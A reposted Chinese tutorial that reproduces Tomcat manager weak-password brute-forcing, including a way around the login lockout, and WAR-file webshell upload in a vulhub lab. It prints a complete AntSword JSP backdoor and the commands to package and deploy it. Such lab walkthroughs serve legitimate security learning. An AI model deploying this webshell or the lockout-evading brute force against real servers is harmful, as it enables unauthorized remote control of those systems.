0


Tomcat弱口令及war包漏洞复现(保姆级教程)

1.环境搭建

  1. 靶机:Ubuntu 安装参考:安装Ubuntu详细教程_乌班图安装教程-CSDN博客

vulhub docker搭建tomcat漏洞环境

参考:vulhub docker靶场搭建-CSDN博客

  1. 工具:burpsuite

2.漏洞复现

2.1弱口令爆破

  1. 进入http://192.168.143.16:8080/(此处为自己靶机IP)

打开tomcat管理页面http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:

然后使用burp抓包,发送到intruder模块进行爆破

爆破成功,输入正确密码进入后台

上传war包即可直接getshell。

注意:在实际测试中,tomcat6/7/8+会针对登陆次数过多的用户进行锁定,经过统计分析,当登录错误>5次后,就会锁定用户。这时候我们就要考虑如何绕过。

CSDN上有个脚本利用的是占满tomcat缓存的方式绕过,当同一账号大于5次登录,就会采用脏数据去进行登录,直到缓存占满后,又会用剩下的可能存在的username进行登录。直到找到password为止。

tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制https://download.csdn.net/download/lwhat007/10164298

这里我们采用针对同一弱口令去爆破不同账号的方式进行猜解,将可能存在的username放入position1的位置,其次放置password在position3的位置,最后attack时爆破的顺序如下图,就不会针对同一账号锁定。这样做的好处在于我们针对同一个口令去爆破大量用户时,由于用户不同,不会被锁定,同时由于第二次使用这个账户爆破其他口令时,tomcat的缓存有很大几率被占满,就不会导致锁定。

2.2上传war包getshell

使用中国蚁剑生成一个 jsp马,将其单独放置于一个目录下,进入该目录

vim shell.jsp

密码:ant

<%!
     class U extends ClassLoader {
         U(ClassLoader c) {
             super(c);
        }
         public Class g(byte[] b) {
             return super.defineClass(b, 0, b.length);
        }
    }
 
     public byte[] base64Decode(String str) throws Exception {
         try {
             Class clazz = Class.forName("sun.misc.BASE64Decoder");
             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
             Class clazz = Class.forName("java.util.Base64");
             Object decoder = clazz.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
 %>
 <%
     String cls = request.getParameter("ant");
     if (cls != null) {
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
 %>

将 shell.jsp 马打包成 war 包

 jar -cvf login.war shell.jsp

或者使用 zip 压缩成 war 包

 zip shell.war shell.jsp

进入登录界面,部署上传

链接的地址是 /zip文件的前缀/文件名,比如我这里就是http://IP/shell/shell.jsp

然后用蚁剑连接

此时已经成功get shell。


本文转载自: https://blog.csdn.net/m0_69043895/article/details/138050424
版权归原作者 nuc_ddddsj 所有, 如有侵权,请联系我们删除。

“Tomcat弱口令及war包漏洞复现(保姆级教程)”的评论:

还没有评论